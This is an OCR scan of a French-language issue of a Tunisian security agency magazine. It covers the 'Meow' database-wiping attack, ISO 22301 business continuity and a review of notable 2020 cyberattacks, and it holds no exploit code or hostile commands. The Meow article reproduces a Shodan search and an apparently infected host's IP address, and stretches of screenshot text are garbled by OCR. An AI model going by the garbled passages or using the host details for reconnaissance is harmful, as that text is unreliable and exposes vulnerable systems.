yellow open 9undmlziln
yellow open 9az5ne9%75
yellow open sdulzae
yellow open r7parkyf
yellow open vkyp3iSayn
yellow open ddlgxTubvs

BrhAlGdQICILvFzV3Ia TR
WET714AnQtWHPkiOtEx1uA
FASXjLToagUsB5571DHw
qmd UBAHQri0ZoXfVKLYHg
BvZTgeaR5uuYuloAf_ 3dg
BVNW3AKSTHNuLWDcdVuvdSA
nRIISYT26LLPi gASnOw
4KDdv2HMSwgHDW L6 fWbKah
XRoqg&65SfuYvRg2azkUoh
AT EWE JRAMLBIFISKF 7 1w
RpACH9dSBanseEuZallomw
ht EdyCYaTDCUg2zoVoznwlg
3KeDEfhrS3CKLXyUSURdEg
pIGLzzyTugpHI£YyhT hQ
PABESeRTUGn=-3ikKpyMfA
TcWNvnPQluEOPESGBEj9g
0Ic_TeTdR3I-jNov-CrLEeYA
r5aleTSTIKQZbHOIIEVVg
hGt1QTEQy0cdTHSF7bO0Hg
0yQLlihISjy20LlSYKvGVPA
£M_THO0SCaDels lulvpgw
6QSBYPURs00geOriWveCQ

1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2Zkb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.2kb
1.2kb 1.Zkb
1.2kb 1.2kb
1.2kb 1.2kb
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L e e e e e e e e e e e e e e
[-N-N--N--N- - - - - - - - - - - - - - - -
oocoO0oDDOO0ODDOoOOCDOO0O0OO0ODODODOODO

Figure 1: Signature du malware "Meow"

Pas de Rancon!

Contrairement aux rangongiciels, le ou
les attaquants ne demandent pas de
rangons aux entreprises ou aux utilisa-
teurs dont les données sont compro-
mises, ne les revendent pas sur le Dark
Web, mais remplacent les données par
des suites de chiffres comme le montre
la figure 1.

Les instances ciblées par Dattaque
"Meow"

Actuellement, les entreprises touchées
sont UFO VPN, ElasticSearch (moteur
de recherche), MongoDB, Cassandra,
CouchDB, Redis (systémes de gestion
de bases de données) Hadoop (frame-
work de création d'applications distri-
buées), Jenkins (outil open source
d'intégration continue), Apache Zoo-
Keeper, ainsi que des périphériques de
stockage connectés au réseau.

La figure 2 illustre le nombre
d'instances ciblées par cette attaque.

Probléme mondial

Ces bases de données ouvertes ont été
trouvées dans 20 pays différents et les
victimes sont des entreprises de toutes
tailles, y compris des géants du net. La
Chine s’est classée en téte de liste des
pays a risque. Il y avait prés de 9471
bases de données exposées selon SHO-
DAN. En comptabilisant le nombre
d’informations, les chercheurs ont

exposés. Les Etats-Unis arrivent en
deuxiéme position, avec preés de 3772
bases de données non sécurisées et pres
de 2,3 milliards d'entrées disponibles
en ligne. L’Allemagne est en troisiéme
position, avec 1032 bases de données
non sécurisées et plus de 4,8 millions
d’entrées exposées. La France prend la
quatriéme position avec 938 bases de
données non sécurisées. La cinquiéme
position est pour Singapour avec 626
bases de données non sécurisées.

Services et organisations touchés par
MEOW

Des millions d'enregistrements Face-
book ont été exposés sur un serveur
public d'Amazon. Dans un autre inci-
dent, une base de données non sécuri-
sée a exposé les informations de 80
millions de foyers américains. Les
données comprenaient 1'adresse, le re-
venu et I'état civil des victimes.

Top des organisations

Une clinique de rééducation aux FEtats-
Unis a également souffert d'une fuite
de données, au cours de laquelle prés
de 150 000 patients ont vu leurs

trouvé que plus de 2,6 milliards d'utili-  informations personnelles exposées.
sateurs auraient pu avoir leurs comptes (voir figure 3)
312 110
( m Elastic
ah ® MongoDB
Apache Tomcat/Coyote
JSP Engine
m CouchDB

Figure 2: Nomres d'instances ciblées par Meow
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® Hangzhou Alibaba
Advertising Co.,Ltd.

B Amazon.com
Tencent cloud comuting

B Digital Ocean

W China Telecom

Figure 3: TOP des organisations touchées par Meow

Topdesservices

m Elastic Search
® MongoDB

Service sur le port 8081
m Service sur le port 8083

m Splunk

Figure 4: TOP des services touchés par Meow

Meow en Tunisie

En utilisant I’API de SHODAN avec le filtre « MEOW coun-
try TN’ » : six bases de données sont infectées par MEOW
dont les services sont Elastic Sraech et MongoDB.

Outils d’investigation

En utilisant I'API cat indice pour obtenir les informations sur
la base de donnée de type Elastic Search, on remarque le mot
"Meow" ajouté a I’index en tant que signature.

Pour mener a bien une investigation on peut utiliser lea-
kix.net moteur d'indexation de tous les services et applica-

~pri rep docs.cou
3

1

op
i open

Quelles perspectives ?

- Les administrateurs doivent garder leurs bases de données
verrouillées, et devraient sécuriser correctement leurs actifs.
- La sensibilisation des grandes entreprises a une meilleure
hygiene numérique, la valorisation de 1’utilisation des cloud
privés plutot que des cloud publics, un meilleur chiffrement

des données disponibles en ligne et des audits de sécurité a

I’aide de «bug bounty» ou en faisant appel a des hackers
éthiques, sont des mesures qui, a terme, devraient lutter
contre le vol, ’utilisation et la suppression de données stoc-
kées sur le cloud public.

Sources
https://www.shodan.io/search?query=MEOW

&% SHODAN

MEOW country- TN’

- -

& Download Results

Explore

#, Exploits #, Maps % Share Search |l Create Report

41.226.0.12
TOPNET
[ Tunisia, Monastir
v
Tunisia G
Gabés 2
Monastir 2
Sidi Bou Said 1
]
ElasticSearch 4
MongoDE z £ 197134211 &
Meninx
B Tunisia, Gabés
TOPNET 3
Meninx 2
Agence Tunisienne d'internet 1
Elastic 4
MongaDE 2
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Downloads

Reports Pricing Enterprise Access

New Service: Keep track of what you have connected to the Internet. Check out Shodan Monitor

MongeDB Server Information

"metrics”: {
"commands”

Datsbase Name Size 2
Gl i "killall$essions”
"failed": @,
config 60.0 kB vtotal”: @
0B217ny2gk-meow 320%B i
ryEglemeow “ “dropRole’

OnBxsplksx-meow 320xB
1fkmbwgg28-meow 320%8

HTTP/1.1 2@ K

content e: application/json; charset=UTF-8

content-length: 531

Elastic
Cluster Name

elzsticsearch

Total Size: 14.89 KB
Total Docs: 2

Status yellow adicee

enisgnfhf-meow ( &)

Number of Indices 24 B
B)
B)
2 B)
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CYBER RESILIENCE

Sécurité et résilience
introduction a ISO 22301 v2019 et initiation d'un SMCA

Qu'est-ce que la continuité des activités ?

La continuité des activités (CA) est la capacité d'une organi-
sation a maintenir la fonctionnalité opérationnelle pendant et
aprés un événement perturbateur. Les événements perturba-
teurs peuvent nuire a tout type d'organisation, ce qui fait de la
CA un composant si critique. La CA s'assure que, lors d'une
interruption, les organisations peuvent continuer a fournir
leurs produits et services. Cela les aide également a revenir a
la normale dés que possible.

Les organisations de toutes sortes, y compris les petites ou
moyennes organisations, les grandes entreprises, les ONG ou
les agences gouvernementales, sont confrontées chaque jour
a différents types de risques. Il en existe de nombreux
exemples. La ville d'Atlanta a été touchée par une attaque de
ransomware en 2018, qui a presque paralysé les autorités lo-
cales. En 2017, les hopitaux du Royaume-Uni ont subi une
attaque de ransomware qui a gravement affecté les opéra-
tions.

En Tunisie, comme beaucoup d'entreprises dans le monde,
nous avons connu une baisse d'activité assez importante avec
l'arrivée du Covid-19. Les circonstances liées a la pandémie
du coronavirus engendrent une intensification du recours au
télétravail. Pour nos entreprises cette situation inédite et qui
va s’inscrire dans la durée, n’avait pas été anticipée. Une
bonne préparation s’impose pour accueillir les imprévus et
continuer a avancer malgré les aléas. Le systéme ISO de ma-
nagement de la continuité d’activité permet d’effectuer les
premiers pas dans la bonne voie. Ce systéme, que 1'industrie
désigne plutdt sous sa forme abrégée « SMCA », fait I’objet
de la norme ISO 22301 et de plusieurs autres normes ISO
connexes.

Evolution de la norme de la continuité d'activité et ses
exigences

L'ISO 22301 a été publiée pour la premiere fois en 2012. La
version actuelle a été publiée en octobre 2019 et constitue la
deuxiéme édition de cette norme. Elle annule et remplace
I'ancienne édition ISO 22301 2012.

ISO 22301 2019 est une norme internationale de gestion de
la continuité des activités. Le nom officiel de cette norme est
ISO 22301 : 2019 Sécurité et résilience - Systémes de mana-
gement de la continuité des activités — Exigences (Security
and resilience-Business continuity management systems- Re-
quirements).

La famille ISO 22301 comprend les normes suivantes :

« ISO 22300 : La présente norme introduit les concepts et le
vocabulaire de base utilisés dans les normes de sécurité et de
résilience.

« ISO 22301 : La présente norme définit les exigences rela-

1SO 22300
Vocabulaire

1SO 22301
Exigences du SMCA

1SOITS 22317
Analyse dimpaet
sur l'activitd (AlA)

Vocabulaire

ISO/EC TS 170216
Exigences pourles
crganismesd audit et de
certification de SMCA

Exigences

15022313

Applicationdes.

exigences IS0
22301

18022318
Résilience
organisationnalle

180 22320
Gestiondes
ncidents

180 22322
Mise en garde de
la population

Lignes directrices

180 22398

Alertes & code couleur
Exercices

(Guides industriels Accerdsde partenariat

15022324 ’ 150 22397 ‘

tives a la mise en ceuvre, au maintien et a I'amélioration d'un
systéme de management de la continuité d'activité (SMCA)
en vue de la préparation, de l'intervention et de la reprise
aprés des incidents perturbateurs.

« ISO/IEC TS 17021-6 : La présente norme comprend des
exigences de compétences spécifiques pour le personnel im-
pliqué dans le processus de certification des systémes de ma-
nagement de la continuité d'activité.

« ISO 22313 : La présente norme fournit des directives pour
l'application des exigences d'ISO 22301.

« ISO 22316 : La présente norme fournit des directives pour
renforcer la résilience organisationnelle.

« ISO/TS 22317 : La présente norme fournit des lignes direc-
trices aux organisation pour I’établissement, la mise en
ccuvre et gestion d’un processus formel et documenté le bilan
d’impact sur I’activité (BIA).

« [SO 22320 : Cette norme fournit des lignes directrices pour
la gestion des incidents.

* [SO 22322 : Cette norme fournit des lignes directrices pour
I'élaboration, le traitement et la mise en ceuvre de l'alerte du
public avant, pendant et apres les incidents.

« ISO 22324 : La présente norme fournit des lignes direc-
trices pour l'utilisation de codes couleur afin d'informer les
personnes a risque, ainsi que le personnel de premiére inter-
vention sur le danger.

 ISO 22397 : Cette norme fournit des lignes directrices aux
organismes pour établir des accords de partenariat entre eux.

« ISO 22398 : La présente norme fournit des lignes direc-
trices permettant a toute organisation de planifier, de mener
et d’améliorer ses programmes d'exercices.

Champ d’application de ’'ISO 22301

ISO 22301 est une norme générique de gestion de la conti-
nuité des activités. Il peut étre utilisé par n'importe quelle or-
ganisation, ou n'importe quelle partie d'une organisation,
quelle que soit sa taille ou ce qu'elle fait. Il peut étre utilisé a
la fois par des organisations publiques et privées et par des
entreprises de toutes sortes. Il n'est spécifique a aucun secteur
ou industrie et peut étre appliqué dans n'importe quel envi-
ronnement.
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Le champ d’application des exigences spécifiées dans ISO
22301 dépend de I’environnement et de la complexité de
fonctionnement de 1’organisme.

L’ISO 22301 est applicable a tous les types et toutes les
tailles d’organismes qui :

a. Mettent en ceuvre, maintiennent et améliorent un SMCA ;
b. Cherchent a assurer la conformité a la politique de conti-
nuité d’activité déclarée ;

c. Ont besoin d’étre aptes a poursuivre la livraison de pro-
duits et la fourniture de services & un niveau de capacité
acceptable et préalablement défini durant une perturbation ;

d. Cherchent a améliorer leur résilience a travers 1’applica-
tion efficace du SMCA.

Comment utiliser ISO 22301

Les organisations mettent en ceuvre des systémes de manage-
ment pour améliorer leurs activités et accroitre leurs perfor-
mances commerciales, tout en augmentant la satisfaction de
leurs clients. Une organisation peut disposer de plusieurs
systémes de management, comme par exemple un systéme de
management de la qualité, un systéme de management de la
sécurité de l'information, un systéme de management de la
continuité d'activité « SMCA ».

Utilisez ISO 22301 2019 pour établir un SMCA, puis utilisez
ce systéme pour :

* Sécuriser la propriété de votre organisation.

* Protéger la santé et la sécurité personnelles.

* Rendre votre organisation plus résiliente.

« Améliorer la crédibilité de votre organisation.

* Préserver la réputation de votre organisation.

* Minimiser le cott des perturbations commerciales.

* Réduire votre exposition juridique et financiére.

* Répondre aux attentes des parties intéressées.

» Gérer et contrdler les risques de votre organisation.

* Soutenir les objectifs stratégiques de votre organisation.

* Gagner la confiance de vos parties prenantes.

 Créer un avantage concurrentiel pour votre organisation.

* Corriger les vulnérabilités opérationnelles de votre organi-
sation.

* S’assurer que votre organisation peut réussir.

* Encourager et soutenir l'apprentissage organisationnel
continu.

* Améliorer la capacité de votre organisation a fonctionner
pendant une crise.

L’approche PDCA (Plan-Do-Check-Act / Planifier-Dé-
ployer-Controler-Agir)

L’ISO 22301, article 0.3 applique le cycle PDCA [Planifier
(établir), Déployer (mettre en ceuvre et exécuter), Controler

Plan Do Check | Act

(surveiller et réexaminer) et Agir (maintenir et améliorer)]
pour assurer la mise en ceuvre, la maintenance et I’améliora-
tion continue de I’efficacité du SMCA d’un organisme.

Cela assure un degré de cohérence avec d’autres normes de
systéme de management, telles que I’ISO 9001, I’'ISO 14001,
PISO/TIEC 20000-1, I'ISO/IEC 27001 et I’ISO 28000,
permettant ainsi une mise en ceuvre et un fonctionnement
cohérent et intégré avec les systémes de management asso-
ciés.

Conformément au cycle PDCA, les Articles 4 a 10 traitent
des ¢léments suivants:

* L’Article 4 « Contexte de 1’organisme » : introduit les exi-
gences nécessaires pour établir le contexte du SMCA appli-
cable a I’organisme, ainsi que les besoins, les exigences et le
domaine d’application.

» L’Article 5 « Leadership et engagement » : résume les exi-
gences spécifiques au role de la Direction générale dans le
SMCA, et la maniere dont le leadership communique ses at-
tentes a 1’organisme par le biais d’une déclaration de poli-
tique.

* L’Article 6 « Planification » : décrit les exigences pour éta-
blir des objectifs stratégiques et des principes d’orientation
pour le SMCA dans sa globalité.

e L’Article 7 « Support » : vient a I’appui des opérations du
SMCA en lien avec la détermination des compétences et la
communication avec les parties intéressées, sur une base
récurrente ou en tant que de besoin, tout en documentant,
maitrisant, maintenant et conservant les informations docu-
mentées requises.

* L’Article 8 « Fonctionnement » : définit les besoins de
continuité d’activité, détermine la maniére de les traiter et
développe les procédures afin de gérer 1’organisme durant
une perturbation.

« L’Article 9 « Evaluation de la performance » : résume les
exigences nécessaires pour mesurer la performance de la
continuité d’activité, la conformité du SMCA au présent do-
cument et le pilotage de la revue de direction.

e L’Article 10 « Amélioration » : identifie et intervient sur
une non-conformité du SMCA et sur I’amélioration continue
par le biais d’une action corrective.

Utiliser ISO 22301 pour obtenir la certification

L'TSO 22301 est congue pour étre utilisée a des fins de certi-
fication. Une fois que vous avez établi un SMCA qui répond
a la fois aux exigences ISO 22301 et aux besoins uniques de
votre organisation, vous pouvez demander a un organisme de
certification accrédité (selon la norme ISO/TEC 17024) d'au-
diter votre systéme. Si vous réussissez l'audit, votre or-
ganisme de certification émettra un certificat officiel
indiquant que votre SMCA répond aux exigences ISO 22301.

Bien que I'ISO 22301 soit spécifiquement congue pour étre

utilisée a des fins de certification, vous n'avez pas besoin

d'étre certifié. Vous pouvez étre en conformité sans étre offi-

ciellement enregistré par un organisme de certification ac-
credité.

Par Bilel Arfaoui,

Equipe Audit, ANSI
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Les cyberattaques qui ont marqué 1'année 2020

Méme si la cybersécurité n'est pas le premier sujet a venir a I'esprit en pensant a cette année,
mais son impact a été largement ressenti, surtout durant la période de pandémie ou le monde
entier s'est tourné vers le télétravail. En effet, les fuites de données, les infiltrations de réseaux,
le vol et la vente d'identité et de données en masse, les demandes de rancon ont continué en
2020, et le "Dark Web" ne montre aucun signe d'arrét.
Une selection des attaques les plus marquantes selon I'équipe SAHER est présentée dans cet

article.

<O Fi reeye

1. Fireeye, Solarwind

Cette attaque est la derniére en occu-
rence mais selon nous, la premiére en
terme de gravité, en effet, ce poid lourd
américain de la cybersécurité s'est fait
dévalisé une partie de ses outils offen-
sifs. Ces outils étant principalement des
outils d'attaques informatiques destinés
a tester le niveau de sécurité de ses
clients.

L'objectif de cette attaque publiée le 8
décembre 2020 reste flou, en effet, au-
cune information concernant l'identité
ni les intentions des pirates n'est
confirmée : certains affirment que I'at-
taque était réalisée par des acteurs de
menace hautement sophistiqué et que I'
attaquant recherchait principalement
des informations relatives a certains
clients gouvernementaux, tandis que
d'autres suggérent qu'il s'agit d'un vol
d'outils avancés d'attaque.

En conséquence a cette attaque Fireeye
a du publier des éléments techniques
permettant aux entreprises de détecter
I’utilisation de ces outils et d'éviter
leurs effets.

Selon FireEye, les pirates ont obtenu
un accés via des mises a jour compro-
mise du logiciel de monitoring Orion
de SolarWinds. Effectivement, une
mise a jour logicielle a été exploitée

pour installer le cheval de Troie Sun-
burst dans Orion, qui a ensuite été
installé par plus de 17 000 clients. Une
fois installé, le malware a donné une
porte dérobée aux pirates aux systémes
et réseaux des clients de SolarWinds.

Afin de remédier a ce probléme, Solar-
Winds recommande a tous ses clients
de mettre a jour la plateforme Orion
existante. Sinon, de modifier les mots
de passe pour les comptes ayant acces
aux infrastructures SolarWinds.

Z200Mm

2. Zoom

Zoom fait partie des plateformes de
communication collaborative qui ont
beaucoup profité de la pandémie covid-
19 avec une hausse du nombre de télé-
chargement de 1200% et utilisée essen-
tiellement dans le domaine
professionnel.

ce qui a conduit les professionnel de la
cybersécurité a se pencher davantage

sur elle et de relever plusieurs aspects
importants qui ont failli étre fatals pour
cette plateforme si elle n'a pas remédié
a temps a ces problémes, notament
avec l'interdiction de certaines compa-
gnie d'utiliser Zoom.

le premier point soulevé concerne la
politique de confidentialité de Zoom et
le sort des données personnelles des
utilisateurs, en effet, Zoom envoie
beaucoup de données confidentielles a
Facebook méme si l'utilisateur ne pos-
seéde pas de compte sur ce réseau social
méme si rien de tout cela n'est men-
tionné dans ladite politique.

Effectué automatiquement, ce transfert
vers Facebook concerne 1’appareil uti-
lisé, le modeéle, le lieu et le fuseau ho-
raire de [’utilisateur qui ouvre son
application Zoom, ainsi que son iden-
tifiant. Cest données étant utilisées par
Facebook a des fins publicitaires.

Peu aprés cette annonce, Zoom a trés
vite réagit et a annoncé le déploiement
d'une mise a jour qui régle ce prob-
léme, la plateforme a aussi présenté ses
excuses en ajoutant qu’elle veillera
toujours a la protection des données
personnelles de ses utilisateurs.

La deuxiéme polémique concerne une
faille de sécurité pour le service de vi-
déoconférence Zoom sur Windows.
Une faille qui expose carrément I'ordi-
nateur en donnant les acces et le mot
de passe de la machine.

Cette faille a été découverte par un
chercheur du nom de @_g0Odmode sur
Twitter et réside dans la partie chat de
Zoom, en effet, lorsqu'un utilisateur
partage un lien hypertexte, Zoom va
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convertir ce lien en y ajoutant le che-
main vers son ordinateur y compris ses
acceés. Un pirate informatique peut
alors aisément intercepter I’information
et la décoder a I’aide d’un logiciel gra-
tuit qu’on trouve sur le web.

Cette faille a été testée facilement par
le site BleepingComputer.
https://www.bleepingcomputer.com/-
news/security/zoom-lets-attackers-
steal-windows-credentials-run-pro-
grams-via-unc-links/

La derniére version de Zoom, la ver-
sion 5.4 sortie le 27 Octobre 2020 pro-
pose un nouveau concept de
chiffrement des échanges de bout en
bout permattant aux organisateurs de
générer eux-méme leurs clé de chiffre-
ment et rendant ainsi le déchiffrement
trés difficile méme pour Zoom lui
méme.

La derniére polémique en date qui a
touché cette plateforme est le phéno-
meéne de ZoomBambing. Selon le Wall
Street Journal, ce terme fait référence a
"des intrus qui entrent dans des conver-
sations publiques pour l'inonder de vi-
déos, photos ou des informations
obsenes et déplacés". Afin de remédier
a cette situation, Zoom a imposé et ren-
forcé l'utilisation des mots de passes
pour les conversations, ces derniers
sont intégrés aux hyperliens contenant
les invitations aux conversations. La
plateforme a aussi activé par défaut la
salle d'attente de conversation afin que
les administrateurs aient toujours le
contrdle des personnes ayant acces a la
discussion.

3. Les attaques contre les hopitaux

Depuis le début de la pandémie covid-
19 plusieurs hopitaux étaient des cibles
d'attaques de type ransomware. Ces at-
taques ont perturbé a plusieurs reprises
le systeéme de santé de plusieurs pays et
des alertes de vigilance ont été lancés
depuis les agences de sécurité de ces

pays.

Ces attaques, en apparence anodines
pour la santé humaine, ont conduit
pour la premiére fois de l'histoire de la
cybersécurité au décés d'une patiente.
En effet, les 11 et 12 septembre 2020,
un ransomware avait paralysé tout le
systéme informatique de la clinique
universitaire de Diisseldorf en Alle-
magne rendant la prise en charge des
patients impossible. Durant cette nuit-
la une dame s'était rendue a l'urgence
de 1'hopital pour des soins vitaux ayant
été incapable d'étre prise en charge, la
dame était transférée vers une autre
structure et ait été décédée durant le
transfert.

4. Le phishing en Tunisie
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© Envoyer un message.

Depuis la crise de covid-19, le nombre
de campagne de phishing a augmenté
exponentiellement, ces campagnes se
propagent sur Facebook et usurpent
l'identité de plusieurs enseignes en de-
mandant aux utilisateurs plusieurs
informations comme la carte bancaire
et son code, I'adresse mail et le mot de
passe, le compte facebook et son mot
de passe, etc.. en échange d'une
bourse, d'une prime sociale, d'un bon
d'achat....

Le formulaire en question se trouve en
général sur un autre site non légitime.

5. Ledger data leak

B | edger

La start-up francaise de portefeuilles de
cryptomonnaies "Ledger Wallet" a dé-
claré étre la cible de cyberattaques qui
a conduit a une violation des données
en juillet 2020. En effet, la base de
données contenant environ 272000

clients avec leurs information person-
nelles ont été¢ publié sur Raidforums,
un site de partage de bases de données
piratées.

Méme si cette attaque n'a aucune
incidence sur les portefeuilles maté-
riels, les fonds ou les actifs cryptogra-
phiques, néanmoins elle  reste
importante parce qu'elle divulge indi-
rectement la liste des personnes possé-
dant de la cryptomonnaie, sensée éEtre
anonyme.

La conséquence de cette attaque est
que plusieurs campagnes de phishing
ciblant ces personnes afin d'obtenir
leurs mots de passes ont été détectées.
Des pirates sont allés méme menacer
ces personnes afin de leurs verser de
l'argent.

Sources:
https://www.zdnet.fr/actualites/2020-
les-cyberattaques-qui-ont-marque-1-
annee-39914023.htm
https://www.lemonde.fr/pixels/arti-
cle/2020/12/09/1e-fleuron-americain-
de-la-cybersecurite-fireeye-depouille-
par-une-attaque-informatique-de-haut-
niveau 6062729 4408996.html
https://www.lebigdata.fr/solarwinds-
cyberattaque-historique-usa
https://francoischarron.com/securite/-
fraude-et-arnaques-web/zoom-sat-
taque-au-zoombombing-avec-deux-co
rrectifs-de-securite/Acw69B313q/
https://www journaldunet.fr/web-
tech/guide-de-l-entreprise-digita-
le/1443796-zoom-gratuit-telecharger-
nouveautes-alternative-020121/
https://www.ledger.com/message-led-
gers-ceo-data-leak
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Agence Nationale de la Sécurité Informatique

Parce que le partage du savoir est la clé de la réussite dans le domaine de la
sécurité_informatique, I'Agence Nationale de la Sécurité Informatique est fiere de vous
annoncer la parution d'une nouvelle rubrique de son magazine mensuel "SAHER
Magazine" intitulée "Cyber-agora".

Cyber-agora sera un espace ouvert aux contributions des professionnels, étudiants et
académiciens évoluant dans le domaine de la sécurité informatique. A ce titre, une
adresse E-mail sera mise a votre disposition pour y envoyer vos articles qui, aprés leur
vérification par les équipes de I'ANSI, seront publiés dans les prochaines éditions de
SAHER Magazine.

Il est a noter que le contenu des articles doit étre unique sachant qu'une vérification anti-
plagiat sera réalisée avant toute publication officielle. Enfin, si l'article est sélectionné, son

auteur serait crédité.

Veuillez nous envoyer vos contributions a cette adresse : sahermag@ansi.tn

9 49 avenue Jean Jaures, 1000 Tunis

‘\\ (+216) 71 846 020

@ ansi@ansi.tn cert-tcc@ansi.tn

incident@ansi.tn audit@ansi.tn
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